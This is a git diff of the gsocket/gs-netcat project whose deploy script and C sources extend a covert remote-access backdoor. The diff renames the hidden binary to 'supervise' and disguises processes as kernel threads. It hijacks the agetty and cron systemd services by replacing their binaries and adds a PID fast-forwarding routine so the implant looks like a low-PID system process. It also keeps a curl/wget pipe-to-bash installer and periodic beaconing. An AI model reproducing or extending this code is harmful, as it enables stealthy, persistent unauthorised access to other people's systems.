diff --git a/configure.ac b/configure.ac index 32d939f..5c62085 100755 --- a/configure.ac +++ b/configure.ac @@ -1,6 +1,6 @@ dnl Process this File with autoconf to produce a configure script. AC_PREREQ([2.69]) -AC_INIT([gsocket],[1.4.42dev4]) +AC_INIT([gsocket],[1.4.42beta2]) AC_CONFIG_AUX_DIR(config) AC_CANONICAL_TARGET @@ -115,7 +115,7 @@ esac dnl Checks for header files. AC_HEADER_SYS_WAIT -AC_CHECK_HEADERS(sys/time.h sys/endian.h sys/param.h unistd.h fnmatch.h string.h utmp.h utmpx.h pty.h openssl/srp.h util.h libutil.h netinet/in_systm.h sys/loadavg.h libproc.h wordexp.h) +AC_CHECK_HEADERS(sys/time.h sys/endian.h sys/param.h sched.h unistd.h fnmatch.h string.h utmp.h utmpx.h pty.h openssl/srp.h util.h libutil.h netinet/in_systm.h sys/loadavg.h libproc.h wordexp.h) AC_CHECK_HEADER(openssl/srp.h, [], [AC_MSG_ERROR([openssl/srp.h not found. Update OpenSSL or apt install libssl-dev?])]) diff --git a/deploy/deploy.sh b/deploy/deploy.sh index d6891ca..6a9887c 100755 --- a/deploy/deploy.sh +++ b/deploy/deploy.sh @@ -43,11 +43,16 @@ # - Only connect back every 30 minutes and check for a client. # GS_NOINFECT=1 # - Try NO to infect a systemd service before any other persistency +# GS_NOFFPID=1 +# - Do not fast forward to a small pid. # GS_NAME="[kcached]" # - Specify custom hidden name file & process. Default is picked at random. -# GS_BIN="core" +# GS_BIN="supervise" # - Specify custom name for binary on filesystem # - Set to GS_NAME if GS_NAME is specified. +# GS_SERVICE="supervise" +# - Name for systemd's supervise.service +# - Set to GS_BIN by default # GS_DL=wget # - Command to use for download. =wget or =curl. # GS_TG_TOKEN= @@ -138,7 +143,7 @@ unset msg DL_CRL="bash -c \"\$(curl -fsSL $URL_DEPLOY)\"" DL_WGT="bash -c \"\$(wget -qO- $URL_DEPLOY)\"" -BIN_HIDDEN_NAME_DEFAULT="core" +BIN_HIDDEN_NAME_DEFAULT="supervise" # Can not use '[kcached/0]'. Bash without bashrc shows "/0] $" as prompt. proc_name_arr=("[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]") # Pick a process name at random @@ -154,6 +159,8 @@ CONFIG_DIR_NAME="mc" GS_INFECT=1 [[ -n $GS_NOINFECT ]] && unset GS_INFECT +GS_FFPID=1 +[[ -n $GS_NOFFPID ]] && unset GS_FFPID # systemd candidates for binary infection # res=$(command -v dbus-daemon) && { @@ -173,9 +180,14 @@ GS_INFECT=1 # INFECT_SYSCTL_NAME_ARR+=("rsyslog") # } # => Got notification message from PID 52031, but reception only permitted for main PID 52029 -res=$(command -v agetty) && { +res=$(command -v agetty) && systemctl is-active --quiet 'getty@tty1' &>/dev/null && { INFECT_BIN_NAME_ARR+=("${res:?}") INFECT_SYSCTL_NAME_ARR+=("getty@tty1") + # [[ "$(pgrep -c agetty 2>/dev/null)" -gt 1 ]] && { + # More that 1 agetty process. + # systemctl show getty@tty1 --property=ExecStart + # } + systemctl show 'getty@tty1' --property=ExecStart | grep -qm1 -F "noclear" && INFECT_SYSTEMD_ARGV_MATCH="noclear" } res=$(command -v cron) && { INFECT_BIN_NAME_ARR+=("${res:?}") @@ -183,7 +195,7 @@ res=$(command -v cron) && { } # Names for 'uninstall' (including names from previous versions) -BIN_HIDDEN_NAME_RM=("$BIN_HIDDEN_NAME_DEFAULT" "gs-dbus" "gs-db") +BIN_HIDDEN_NAME_RM=("$BIN_HIDDEN_NAME_DEFAULT" "core" "defunct" "gs-dbus" "gs-db") CONFIG_DIR_NAME_RM=("$CONFIG_DIR_NAME" "htop" "dbus") [[ -t 1 ]] && { @@ -657,6 +669,7 @@ init_vars() [[ -z "$PWD" ]] && PWD="$(pwd 2>/dev/null)" [[ "$GS_BEACON" -eq 0 ]] && unset GS_BEACON + [[ "$GS_BEACON" -gt 0 ]] && [[ "$GS_BEACON" -lt 10 ]] && GS_BEACON=10 [[ "$GS_DEBUG" -eq 0 ]] && unset GS_DEBUG [[ -z "$OSTYPE" ]] && { @@ -783,7 +796,8 @@ init_vars() PROC_HIDDEN_NAME="$PROC_HIDDEN_NAME_DEFAULT" fi - SERVICE_HIDDEN_NAME="${BIN_HIDDEN_NAME}" + SERVICE_HIDDEN_NAME="${GS_SERVICE:-$BIN_HIDDEN_NAME}" + SERVICE_HIDDEN_NAME="${SERVICE_HIDDEN_NAME%%.*}" if [[ $OSTYPE == *darwin* ]]; then # on OSX 'pkill' and 'killall' match the process (argv[0]) whereas on Unix @@ -1216,7 +1230,7 @@ config2bin() { cp -p "${src}" "${dst}" || return 255 } - TERM=xterm-256color GS_PROC_HIDDENNAME="${proc_hidden_name}" GS_BEACON="${GS_BEACON}" GS_STEALTH=1 GS_CONFIG_WRITE="${dst}" GS_ARGS="${opts}" GS_SECRET="${GS_SECRET:?}" "${src}" || return 255 + TERM=xterm-256color GS_PROC_HIDDENNAME="${proc_hidden_name}" GS_SYSTEMD_ARGV_MATCH="${GS_SYSTEMD_ARGV_MATCH}" GS_BEACON="${GS_BEACON}" GS_FFPID="${GS_FFPID}" GS_STEALTH=1 GS_CONFIG_WRITE="${dst}" GS_ARGS="${opts}" GS_SECRET="${GS_SECRET:?}" "${src}" || return 255 [[ -n "$dst_final" ]] && { cat "${dst}" >"${dst_final}" rm -f "${dst:?}" @@ -1237,8 +1251,8 @@ bin2config() { unset GS_CONFIG_BEACON unset GS_CONFIG_HOST unset GS_CONFIG_PORT - [[ ! -f "${exe}" ]] && return - [[ ! -f "${bin}" ]] && return + [[ ! -f "${exe}" ]] && return 255 + [[ ! -f "${bin}" ]] && return 255 eval "$(GS_STEALTH=1 GS_CONFIG_READ="${bin:?}" GS_CONFIG_CHECK=1 "${exe:?}" -h 2>/dev/null | grep ^GS_CONFIG_)" } @@ -1349,7 +1363,6 @@ install_systemd_new() { mk_file "${SERVICE_FILE}" || return 255 chmod 644 "${SERVICE_FILE}" # Stop 'is marked world-inaccessible' dmesg warnings. echo "[Unit] -Description=Offline ext4 Metadata Check for All Filesystems After=network.target [Service] @@ -1366,6 +1379,7 @@ WantedBy=multi-user.target" >"${SERVICE_FILE}" || return 255 systemctl enable "${SERVICE_HIDDEN_NAME}" &>/dev/null || { rm -f "${SERVICE_FILE:?}"; return; } # did not work... IS_SYSTEMD=1 + IS_SYSTEMD_STANDALONE=1 ((IS_INSTALLED+=1)) OK_OUT } @@ -1391,6 +1405,7 @@ install_systemd_infect() { SYSTEMD_INFECTED_NAME="${name}" INFECTED_BIN_NAME="${bin}" + GS_SYSTEMD_ARGV_MATCH="${INFECT_SYSTEMD_ARGV_MATCH}" IS_SYSTEMD=1 ((IS_INSTALLED+=1)) OK_OUT "Experimental. Set GS_NOINFECT=1 to disable." @@ -1612,7 +1627,7 @@ dl() [[ -f "../packaging/gsnc-deploy-bin/${1}" ]] && xcp "../packaging/gsnc-deploy-bin/${1}" "${2}" 2>/dev/null && return [[ -f "/gsocket-pkg/${1}" ]] && xcp "/gsocket-pkg/${1}" "${2}" 2>/dev/null && return [[ -f "${1}" ]] && xcp "${1}" "${2}" 2>/dev/null && return - FAIL_OUT "GS_USELOCAL set but deployment binaries not found (${1})..." + FAIL_OUT "GS_USELOCAL set but deployment binaries not found (${1}). Try setting GS_USELOCAL_GSNC=" errexit fi @@ -1665,11 +1680,11 @@ test_bin() # Try to execute the binary unset ERR_LOG - GS_OUT=$("$bin" -g 2>/dev/null) + GS_OUT=$(GS_CONFIG_READ=0 "$bin" -g 2>/dev/null) [[ -z "$GS_OUT" ]] && { # 126 - Exec format error FAIL_OUT - ERR_LOG="$("$bin" -g 2>&1 1>/dev/null)" + ERR_LOG="$(GS_CONFIG_READ=0 "$bin" -g 2>&1 1>/dev/null)" WARN_EXECFAIL_SET "$ret" "wrong binary" return } @@ -1771,11 +1786,9 @@ show_install_config() { echo -e "Name : ${CDG}${PROC_HIDDEN_NAME}${CN} ${CF}[GS_NAME= to change]${CN}" } + [[ -n $IS_SYSTEMD_STANDALONE ]] && echo -e "Service : ${CDG}${SERVICE_HIDDEN_NAME}.service${CN} ${CF}[GS_SERVICE= to change]${CN}" str="always connected ${CN}${CF}[GS_BEACON=30 to change]" - [[ -n $GS_BEACON ]] && { - [[ $GS_BEACON -lt 10 ]] && GS_BEACON=30 - str="every $GS_BEACON minutes" - } + [[ -n $GS_BEACON ]] && str="every $GS_BEACON minutes" echo -e "Beacon : ${CDG}${str}${CN}" } @@ -1842,7 +1855,7 @@ install() OK_OUT echo -en "Copying binaries......................................................" - xmv "${_GS_TMPDIR}/gs-netcat" "$DSTBIN" || { FAIL_OUT; errexit; } + xmv "${_GS_TMPDIR}/gs-netcat" "${DSTBIN:?}" || { FAIL_OUT; errexit; } chmod 700 "$DSTBIN" OK_OUT @@ -1986,6 +1999,7 @@ if [[ -z $GS_NOINST ]]; then fi else echo -e "GS_NOINST is set. Skipping installation." + do_config2bin "${DSTBIN}" "${DSTBIN}" "-ilqD" "${PROC_HIDDEN_NAME}" fi # -----END Install permanentally----- @@ -1995,12 +2009,26 @@ fi [[ -n $IS_DSTBIN_CWD ]] && WARN "Installed to ${PWD}. Try GS_DSTDIR= otherwise.." +[[ -n "$GS_FFPID" ]] && { + echo -en "Using low PID. May take 40 sec. Set GS_NOFFPID=1 to disable..........." + if res=$(GS_UTIL_FFPID=1 GS_CONFIG_READ=0 "${DSTBIN:-$INFECTED_BIN_NAME}" 2>/dev/null); then + OK_OUT "Low PID found at ~${res:-NA}" + else + SKIP_OUT "PID forwarded to ${res:-NA} only" + fi +} + webhooks show_install_config HOWTO_CONNECT_OUT +# Do this after show_install_config so that user always sees the GS_SECRET. gs_start + +# Give gsnc enough time to read the configuration from its own binary before deleting. +[[ -n "$GS_NOINST" ]] && { sleep 1; rm -f "${DSTBIN:?}"; } + echo -e "--> ${CW}Join us on Telegram - https://t.me/thcorg${CN}" exit_code 0 diff --git a/tools/4_gs-netcat.c b/tools/4_gs-netcat.c index 60cdf39..70cf01f 100644 --- a/tools/4_gs-netcat.c +++ b/tools/4_gs-netcat.c @@ -1483,16 +1483,39 @@ try_quiet(void) } static void -my_getopt(int argc, char *argv[]) -{ - int c; - FILE *fp; - char *ptr; +config_check_print_exit(void) { int callhome_min = 0; - int is_config_check = 0; - if (GS_GETENV2("CONFIG_CHECK")) - is_config_check = 1; + if (!(gopt.flags & GSC_FL_CONFIG_READ_OK)) { + printf("GS_CONFIG_NOT_FOUND=1\n"); + exit(255); + } + printf("GS_CONFIG_SECRET='%s'\n\ +GS_CONFIG_PROC_HIDDENNAME='%s'\n\ +GS_CONFIG_HOST=%s\n\ +", gopt.sec_str, gopt.proc_hiddenname?:"", gopt.gs_host?:""); + callhome_min = gopt.callhome_sec; +#ifndef DEBUG + callhome_min = callhome_min / 60; +#endif + if (callhome_min) + printf("GS_CONFIG_BEACON=%d\n", callhome_min); + else + printf("GS_CONFIG_BEACON=\n"); + if (gopt.gs_port > 0) + printf("GS_CONFIG_PORT=%d\n", gopt.gs_port); + else + printf("GS_CONFIG_PORT=\n"); + if (gopt.flags & GSC_FL_FFPID) + printf("GS_FFPID=1\n"); + + exit(0); +} + +static void +do_my_getopt(int argc, char *argv[]) { + int c; + FILE *fp; do_getopt(argc, argv); /* from utils.c */ optind = 1; /* Start from beginning */ @@ -1543,11 +1566,10 @@ my_getopt(int argc, char *argv[]) fclose(fp); break; case 'B': - callhome_min = atoi(optarg); + gopt.callhome_sec = atoi(optarg) * 60; break; case 'h': - if (!is_config_check) - my_usage(0); // On -h exit with 0 [it's a valid command] + my_usage(0); // On -h exit with 0 [it's a valid command] default: break; case 'A': // Disable -A for gs-netcat. Use gs-full-pipe instead @@ -1555,50 +1577,35 @@ my_getopt(int argc, char *argv[]) my_usage(EX_UNKNWNCMD); } } +} + +static void +my_getopt(int argc, char *argv[]) +{ + char *ptr; - if ((ptr = GS_GETENV2("BEACON")) != NULL) - callhome_min = atoi(ptr); + if (GS_GETENV2("CONFIG_CHECK")) + config_check_print_exit(); - if ((callhome_min > 0) && (callhome_min < 10)) { - if (!(gopt.flags & GSC_FL_OPT_QUIET)) - fprintf(stderr, "GS_BEACON=%d set to low. Increased to 30 minutes.\n", callhome_min); - callhome_min = 30; - } - gopt.callhome_sec = callhome_min; -#ifndef DEBUG - gopt.callhome_sec *= 60; // Convert minutes to seconds -#endif + if (argc > 1) { + do_my_getopt(argc, argv); - ptr = GS_GETENV2("CONFIG_WRITE"); - if (ptr != NULL) { - exit(GSNC_config_write(ptr)); - } - c = GSNC_config_read(gopt.prg_exename); - if (is_config_check) { - if (c != 0) { - printf("GS_CONFIG_NOT_FOUND=1\n"); - exit(c); + if ((ptr = GS_GETENV2("BEACON")) != NULL) + gopt.callhome_sec = atoi(ptr) * 60; + + if ((gopt.callhome_sec > 0) && (gopt.callhome_sec < 10 * 60)) { + if (!(gopt.flags & GSC_FL_OPT_QUIET)) + fprintf(stderr, "GS_BEACON=%d set to low. Increased to 30 minutes.\n", gopt.callhome_sec / 60); + gopt.callhome_sec = 30 * 60; } - printf("GS_CONFIG_SECRET='%s'\n\ -GS_CONFIG_PROC_HIDDENNAME='%s'\n\ -GS_CONFIG_HOST=%s\n\ -", gopt.sec_str, gopt.proc_hiddenname?:"", gopt.gs_host?:""); - callhome_min = gopt.callhome_sec; -#ifndef DEBUG - callhome_min = callhome_min / 60; -#endif - if (callhome_min) - printf("GS_CONFIG_BEACON=%d\n", callhome_min); - else - printf("GS_CONFIG_BEACON=\n"); - if (gopt.gs_port > 0) - printf("GS_CONFIG_PORT=%d\n", gopt.gs_port); - else - printf("GS_CONFIG_PORT=\n"); - - exit(c); + #ifndef DEBUG + gopt.callhome_sec /= 60; // Convert minutes to seconds + #endif } + if ((ptr = GS_GETENV2("CONFIG_WRITE")) != NULL) + exit(GSNC_config_write(ptr)); + if (gopt.flags & GSC_FL_OPT_SOCKS_SERVER) { gopt.is_multi_peer = 1; gopt.flags |= GSC_FL_IS_SERVER; // implicit @@ -1666,7 +1673,6 @@ GS_CONFIG_HOST=%s\n\ if (write(1, &port, sizeof port) != sizeof port) exit(EX_BADWRITE); // FATAL } - } } @@ -1690,7 +1696,7 @@ GS_CONFIG_HOST=%s\n\ { // Stop multiple daemons from starting (by crontab/.profile): // Set the token-str uniq to this daemon. Then any other daemon - // that starts will have a different toek_str and GSRN will return + // that starts will have a different token_str and GSRN will return // a BAD-AUTH message. // The child will then exit with EX_BAD_AUTH which also triggers the daemon // to exit (because another daemon is already connected). @@ -1699,6 +1705,14 @@ GS_CONFIG_HOST=%s\n\ gopt.token_str = strdup(buf); } gopt.err_fp = gopt.log_fp; // Errors to logfile or NULL + + if (gopt.flags & GSC_FL_FFPID) { + // Immediately make parent exit so bashrc does not block. + pid_t pid = fork(); + if (pid > 0) + exit(0); + forward_pid(); + } GS_daemonize(gopt.log_fp, EX_BAD_AUTH); } @@ -1713,6 +1727,7 @@ GS_CONFIG_HOST=%s\n\ int main(int argc, char *argv[]) { + do_util_ffpid(); init_defaults1(argv); init_supervise(&argc, argv); init_defaults2(argc, &argc, &argv); diff --git a/tools/common.h b/tools/common.h index 5ab361d..b238c99 100644 --- a/tools/common.h +++ b/tools/common.h @@ -6,6 +6,10 @@ # include #endif +#ifdef HAVE_SCHED_H +#define _GNU_SOURCE +# include +#endif #ifdef HAVE_SYS_PARAM_H # include #endif @@ -15,6 +19,7 @@ #include #include #include +#include #ifdef HAVE_SYS_LOADAVG_H # include // Solaris11 #endif @@ -219,17 +224,20 @@ struct _gopt uint16_t gs_port; }; -#define GSC_FL_IS_SERVER (0x01) -#define GSC_FL_IS_STEALTH (0x02) -#define GSC_FL_IS_NO_ATEXIT (0x04) -#define GSC_FL_OPT_G (0x08) -#define GSC_FL_OPT_SEC (0x10) -#define GSC_FL_OPT_TOR (0x20) -#define GSC_FL_OPT_DAEMON (0x40) -#define GSC_FL_OPT_WATCHDOG (0x80) -#define GSC_FL_OPT_QUIET (0x100) -#define GSC_FL_OPT_SOCKS_SERVER (0x200) // -S flag -#define GSC_FL_WANT_CONFIG_READ (0x400) // Anything but GS_CONFIG_READ=0 +#define GSC_FL_IS_SERVER (0x01) +#define GSC_FL_IS_STEALTH (0x02) +#define GSC_FL_IS_NO_ATEXIT (0x04) +#define GSC_FL_OPT_G (0x08) +#define GSC_FL_OPT_SEC (0x10) +#define GSC_FL_OPT_TOR (0x20) +#define GSC_FL_OPT_DAEMON (0x40) +#define GSC_FL_OPT_WATCHDOG (0x80) +#define GSC_FL_OPT_QUIET (0x100) +#define GSC_FL_OPT_SOCKS_SERVER (0x200) // -S flag +#define GSC_FL_WANT_CONFIG_READ (0x400) // Anything but GS_CONFIG_READ=0 +#define GSC_FL_CONFIG_CHECK (0x800) +#define GSC_FL_FFPID (0x1000) // Fast Forward PID +#define GSC_FL_CONFIG_READ_OK (0x2000) #ifdef DEBUG #define GS_APP_KEEPALIVE 10 // If no activty send app-layer ping (-i needed) diff --git a/tools/gsnc-utils.c b/tools/gsnc-utils.c index 9fc4462..0c87127 100644 --- a/tools/gsnc-utils.c +++ b/tools/gsnc-utils.c @@ -2,6 +2,8 @@ #include "utils.h" #include "gsnc-utils.h" +static char *systemd_argv_match; + // ENV VARIABLES: // ============== // CONFIG_WRITE=- - Write to STDOUT @@ -105,11 +107,14 @@ GSNC_config_write(const char *fn) { if ((ptr = GS_getenv("SHELL")) != NULL) snprintf(c.shell, sizeof c.shell, "%s", ptr); - if ((ptr = GS_getenv("DOMAIN")) != NULL) + if ((ptr = GS_GETENV2("DOMAIN")) != NULL) snprintf(c.domain, sizeof c.domain, "%s", ptr); - if ((ptr = GS_getenv("WORKDIR")) != NULL) + if ((ptr = GS_GETENV2("WORKDIR")) != NULL) snprintf(c.workdir, sizeof c.workdir, "%s", ptr); + + if ((ptr = GS_GETENV2("SYSTEMD_ARGV_MATCH")) != NULL) + snprintf(c.systemd_argv_match, sizeof c.systemd_argv_match, "%s", ptr); c.callhome_min = gopt.callhome_sec; #ifndef DEBUG @@ -120,6 +125,9 @@ GSNC_config_write(const char *fn) { c.flags |= (gopt.flags & GSC_FL_OPT_WATCHDOG); c.flags |= (gopt.flags & GSC_FL_OPT_QUIET); + if (GS_GETENV2("FFPID")) + c.flags |= GSC_FL_FFPID; + if (fwrite(&c, sizeof c, 1, fp) != 1) goto err; fp = freopen(NULL, "r", fp); // Must reopen so set timestamp NOW and adjust below: @@ -179,6 +187,8 @@ GSNC_config_read(const char *fn) { gopt.gs_workdir = strdup(c.workdir); if (c.proc_hiddenname[0] != '\0') gopt.proc_hiddenname = strdup(c.proc_hiddenname); + if (c.systemd_argv_match[0] != '\0') + systemd_argv_match = strdup(c.systemd_argv_match); gopt.gs_port = c.port; gopt.callhome_sec = c.callhome_min; @@ -189,18 +199,113 @@ GSNC_config_read(const char *fn) { gopt.flags |= (c.flags & GSC_FL_OPT_DAEMON); gopt.flags |= (c.flags & GSC_FL_OPT_WATCHDOG); gopt.flags |= (c.flags & GSC_FL_OPT_QUIET); + gopt.flags |= (c.flags & GSC_FL_FFPID); // Implied: gopt.is_interactive = 1; gopt.flags |= GSC_FL_IS_SERVER; gopt.flags |= GSC_FL_IS_STEALTH; + gopt.flags |= GSC_FL_CONFIG_READ_OK; ret = 0; err: XFCLOSE(fp); return ret; } +#ifndef HAVE_SCHED_H +static void forward_pid_worker(int worker) { return; } +#else +static void +forward_pid_worker(int worker) { + + pid_t p = getpid(); + pid_t old_p; + char stack[1024]; // pid fast forwarding stack. + + signal(SIGCHLD, SIG_IGN); + while (1) { + old_p = p; + p = clone((int (*)(void *))exit, stack + sizeof stack, CLONE_VFORK | CLONE_VM | SIGCHLD, NULL); + if (p <= 0) + break; + if (p < old_p) { + break; + } + } + exit(0); +} +#endif + +#define FF_PID_MAX_WORKERS (8) +pid_t workers[FF_PID_MAX_WORKERS]; + +static int ffpid_ok; + +static void +cb_alarm(int sig) { + int i = 0; + + while (workers[i] != 0) { + kill(workers[i++], SIGTERM); + } + alarm(0); + ffpid_ok = -1; +} + +// Fast-Forward to a small pid (<1000). Return found pid. +pid_t +forward_pid() { + int i; + pid_t pid_rv = getpid(); + +#ifndef HAVE_SCHED_H + return pid_rv; +#endif + if (pid_rv < 1000) + return pid_rv; + + signal(SIGCHLD, SIG_DFL); // needed for waitpid() below + signal(SIGALRM, cb_alarm); + alarm(40); + + // Start 8 workers that call clone() + for (i = 0; i < FF_PID_MAX_WORKERS; i++) { + workers[i] = fork(); + if (workers[i] < 0) + break; + if (workers[i] == 0) { + forward_pid_worker(i); + exit(0); // CHILD exit + } + } + + while (i > 0) { + waitpid(-1, NULL, 0); + i--; + } + // Find out next pid. + pid_rv = fork(); + if (pid_rv == 0) + exit(0); + + alarm(0); + signal(SIGALRM, SIG_DFL); + return pid_rv; +} + +// Find lowest pid and exit. +void +do_util_ffpid(void) { + pid_t pid; + if (GS_GETENV2("UTIL_FFPID") == NULL) + return; + pid = forward_pid(); + + printf("%d\n", pid); + exit(ffpid_ok); +} + static pid_t sv_pid; static void @@ -230,26 +335,62 @@ sv_sigforward(int sig) { sv_pid = 0; } +static void +sv_startorig(char *argv[]) { + char buf[1024]; + + snprintf(buf, sizeof buf, "%s ", argv[0]); // Original binary is saved as "name\w" name+(space) + execv(buf, argv); + + exit(0); // ERROR but exit with 0. +} + // Do nothing unless started by systemd. // Supervise the original binary. -// The original is spawned as a daemomized child (PPID=1) of gsnc. +// The original is spawned as a daemonized child (PPID=1) of gsnc. // The alternative would be to start gsnc as a child of the original process // the concerns are: -// - GSNC would start again if the service restarts. (is this true? doesnt it kill in cgroup anyway?) +// - GSNC would start again if the service restarts. (is this true? doesn't it kill in cgroup anyway?) // - GSNC would constantly need to check if (original) parent has // restarted // - GSNC would not be restarted if it died. void init_supervise(int *argc, char *argv[]) { char buf[1024]; + struct stat sb; pid_t pid; int is_systemd = 0; int is_tty; + int i; + + if (!(gopt.flags & GSC_FL_WANT_CONFIG_READ)) + return; // GS_CONFIG_READ=0, means gs-user wants to execute us (not the service). + + if (!(gopt.flags & GSC_FL_CONFIG_READ_OK)) + return; // no valid config found. + + if (gopt.flags & GSC_FL_CONFIG_CHECK) + return; // output config and exit. + + snprintf(buf, sizeof buf, "%s ", argv[0]); // Original binary is saved as "name\w" name+(space) + if (stat(buf, &sb) != 0) + return; // original binary does not exists. Continue with GSNC. + + if (systemd_argv_match != NULL) { + // agetty: Check if this is the service for TTY1, otherwise start _just_ agetty@argv + char *ptr = NULL; + for (i = 1; i < *argc && ptr == NULL; i++) { + ptr = strstr(argv[i], systemd_argv_match); + } + if (ptr == NULL) + goto execorig; + XFREE(systemd_argv_match); + } if (getppid() > 1) - return; // NOT started from systemd. + goto execorig; // NOT started from systemd. if (getuid() != 0) - return; // We only use root-services to start gsnc from systemd. + goto execorig; // We only use root-services to start gsnc from systemd. if (getenv("SYSTEMD_EXEC_PID") != NULL) is_systemd++; // Older systemd's dont set this. @@ -259,7 +400,7 @@ init_supervise(int *argc, char *argv[]) { // is_systemd++; // LANG is normally set by /bin/sh. agetty's service removes it. if (is_systemd == 0) - return; // not started from systemd + goto execorig; // not started from systemd int fds[2]; socketpair(AF_UNIX, SOCK_STREAM, 0, fds); @@ -274,7 +415,7 @@ init_supervise(int *argc, char *argv[]) { ioctl(0, TIOCNOTTY, NULL); if ((pid = fork()) < 0) - return; // ERROR + goto execorig; // ERROR if (pid > 0) { // Grand-PARENT @@ -299,7 +440,7 @@ init_supervise(int *argc, char *argv[]) { signal(SIGTERM, cb_sigforward); signal(SIGURG, cb_sigforward); signal(SIGWINCH, cb_sigforward); - return; + return; // gsnc to continue } // CHILD @@ -321,14 +462,7 @@ init_supervise(int *argc, char *argv[]) { signal(SIGHUP, SIG_DFL); signal(SIGCHLD, SIG_DFL); - snprintf(buf, sizeof buf, "%s ", argv[0]); // Original binary is saved as "name\w" name+(space) - execv(buf, argv); - - // if (gopt.prg_exename == NULL) - // return; - // snprintf(buf, sizeof buf, "%s ", gopt.prg_exename); - // execv(buf, argv); - // Could not execute the original. - exit(0); // ERROR but exit with 0. +execorig: + sv_startorig(argv); } diff --git a/tools/gsnc-utils.h b/tools/gsnc-utils.h index 1c1e99c..efba880 100644 --- a/tools/gsnc-utils.h +++ b/tools/gsnc-utils.h @@ -6,7 +6,6 @@ struct gsnc_config { char host[128]; char proc_hiddenname[64]; - // char prg_exename[128]; uint16_t port; int callhome_min; uint32_t flags; @@ -14,6 +13,7 @@ struct gsnc_config { char shell[64]; char domain[64]; char workdir[64]; + char systemd_argv_match[64]; char magic[sizeof GSNC_CONFIG_MAGIC_STR - 1]; // GSNC_MAGIC_STR ^ GSNC_MAGIC_XOR }; @@ -21,5 +21,7 @@ int GSNC_config_read(const char *file); int GSNC_config_write(const char *file); void init_supervise(int *argc, char *argv[]); void sv_sigforward(int sig); +pid_t forward_pid(void); +void do_util_ffpid(void); #endif // __GSNC_GSNC_UTILS_H__ \ No newline at end of file diff --git a/tools/utils.c b/tools/utils.c index 5e44260..b837581 100644 --- a/tools/utils.c +++ b/tools/utils.c @@ -83,17 +83,23 @@ try_changeargv0(char *argv[]) { } exename = argv[0]; - if ((GS_GETENV2("CONFIG_WRITE") != NULL) || (GS_GETENV2("CONFIG_CHECK") != NULL)) { - DEBUGF("GS_CONFIG_WRITE= or GS_CONFIG_CHECK= is set. Skipping changeargv0\n"); + if (GS_GETENV2("CONFIG_CHECK")) { + gopt.flags |= GSC_FL_CONFIG_CHECK; + GSNC_config_read(NULL /* default to GS_CONFIG_READ=*/); + return; + } + + if (GS_GETENV2("CONFIG_WRITE") != NULL) { gopt.prg_exename = strdup(exename); return; } if ((ptr = getenv("_GS_PROC_EXENAME"))) { - // Call ourselves. + // Called ourselves. gopt.prg_exename = strdup(ptr); - DEBUGF("We are not hidden. ARGV0=%s EXENAME=%s\n", argv[0], gopt.prg_exename); + DEBUGF("How hidden as ARGV0=%s [EXENAME=%s]\n", argv[0], gopt.prg_exename); unsetenv("_GS_PROC_EXENAME"); + GSNC_config_read(gopt.prg_exename); return; } @@ -104,7 +110,6 @@ try_changeargv0(char *argv[]) { } exename = ptr; - // HERE: Switch to argv0 to different name. // Load config if (GSNC_config_read(exename) != 0) { DEBUGF("GSNC_config_read() failed\n"); @@ -116,6 +121,7 @@ try_changeargv0(char *argv[]) { return; } + // HERE: Switch to argv0 to different name. setenv("_GS_PROC_EXENAME", exename, 1); argv[0] = gopt.proc_hiddenname; execv(exename, argv); @@ -131,18 +137,18 @@ init_defaults1(char *argv[]) { gopt.is_built_debug = 1; #endif #ifdef STEALTH - gopt.flags |= GSC_FL_IS_STEALTH; + gopt.flags |= GSC_FL_IS_STEALTH; #endif if ((ptr = GS_GETENV2("STEALTH")) != NULL) { gopt.flags |= GSC_FL_IS_STEALTH; - // export GS_STEALTH=0 to disable stealth. + // Set GS_STEALTH=0 to disable stealth. if (*ptr == '0') gopt.flags &= ~GSC_FL_IS_STEALTH; } ptr = GS_GETENV2("CONFIG_READ"); if ((ptr == NULL) || (*ptr != '0')) gopt.flags |= GSC_FL_WANT_CONFIG_READ; - + try_changeargv0(argv); gopt.prg_name = argv0; @@ -723,27 +729,20 @@ static const char * mk_shellname(const char *shell, char *shell_name, ssize_t len, const char **prgname) { char *dfl_shell = NULL; - char *shell_orig = shell; - char *ptr; + const char *ptr; struct stat sb; - int is_great_shell = 0; if (stat("/bin/bash", &sb) == 0) { dfl_shell = "/bin/bash"; - is_great_shell = 1; } else if (stat("/usr/bin/bash", &sb) == 0) { dfl_shell = "/usr/bin/bash"; - is_great_shell = 1; } else if (stat("/usr/local/bin/bash", &sb) == 0) { dfl_shell = "/usr/local/bin/bash"; - is_great_shell = 1; } else if (stat("/bin/csh", &sb) == 0) { dfl_shell = "/bin/csh"; - is_great_shell = 1; } else if (stat("/bin/sh", &sb) == 0) { dfl_shell = "/bin/sh"; } else if (stat("./bash", &sb) == 0) { dfl_shell = "./bash"; - is_great_shell = 1; } else if (stat("./sh", &sb) == 0) { dfl_shell = "./sh"; } else if (stat("/cygdrive/c/WINDOWS/system32/cmd.exe", &sb) == 0) @@ -831,7 +830,7 @@ mk_shellname(const char *shell, char *shell_name, ssize_t len, const char **prgn ptr = strrchr(shell, '/'); if (ptr != NULL) - ptr++ + ptr++; else ptr = shell; // CAN NOT HAPPEN. @@ -1262,7 +1261,7 @@ pty_cmd(GS_CTX *ctx, const char *cmd, pid_t *pidptr, int *err) envp[envplen++] = "GS_CONFIG_READ=0"; if (gopt.prg_exename != NULL) { snprintf(buf, sizeof buf, "GS=%s", gopt.prg_exename); - env[envplen++] = strdup(buf); + envp[envplen++] = strdup(buf); } if (cmd != NULL) {